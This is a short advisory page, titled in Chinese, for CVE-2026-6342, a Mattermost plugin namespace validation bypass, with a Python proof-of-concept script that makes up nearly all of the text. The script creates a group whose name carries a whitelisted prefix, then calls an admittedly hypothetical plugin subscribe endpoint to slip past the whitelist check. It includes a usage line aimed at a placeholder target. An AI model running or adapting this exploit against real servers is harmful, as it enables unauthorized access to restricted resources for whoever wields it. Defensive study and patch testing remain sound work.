CVE-2026-6342 Mattermost插件命名空间验证绕过漏洞

# Conceptual Proof of Concept for CVE-2026-6342 # This script demonstrates the namespace confusion vulnerability import requests def exploit(target_url, auth_token, whitelisted_prefix): headers = {'Authorization': f'Bearer {auth_token}'} # Step 1: Create a malicious group sharing the prefix malicious_group_name = f"{whitelisted_prefix}_exploit" payload = { "name": malicious_group_name, "display_name": malicious_group_name, "type": "O" } print(f"[*] Attempting to create group: {malicious_group_name}") # API endpoint to create a group create_resp = requests.post(f"{target_url}/api/v4/groups", json=payload, headers=headers) if create_resp.status_code == 201: group_id = create_resp.json().get('id') print(f"[+] Group created successfully with ID: {group_id}") # Step 2: Attempt to subscribe to restricted resources using the malicious group # Assuming a vulnerable plugin endpoint that checks prefix sub_payload = {"group_id": group_id} print(f"[*] Attempting to bypass whitelist check via prefix...") # This is a hypothetical endpoint for the vulnerable plugin exploit_resp = requests.post(f"{target_url}/plugins/vulnerable-plugin/api/v1/subscribe", json=sub_payload, headers=headers) if exploit_resp.status_code == 200: print("[+] Exploit successful! Subscription allowed via namespace confusion.") else: print("[-] Exploit failed. Server rejected the request.") else: print("[-] Failed to create group.") # Usage # exploit("https://mattermost.target.com", "user_token", "whitelisted_group")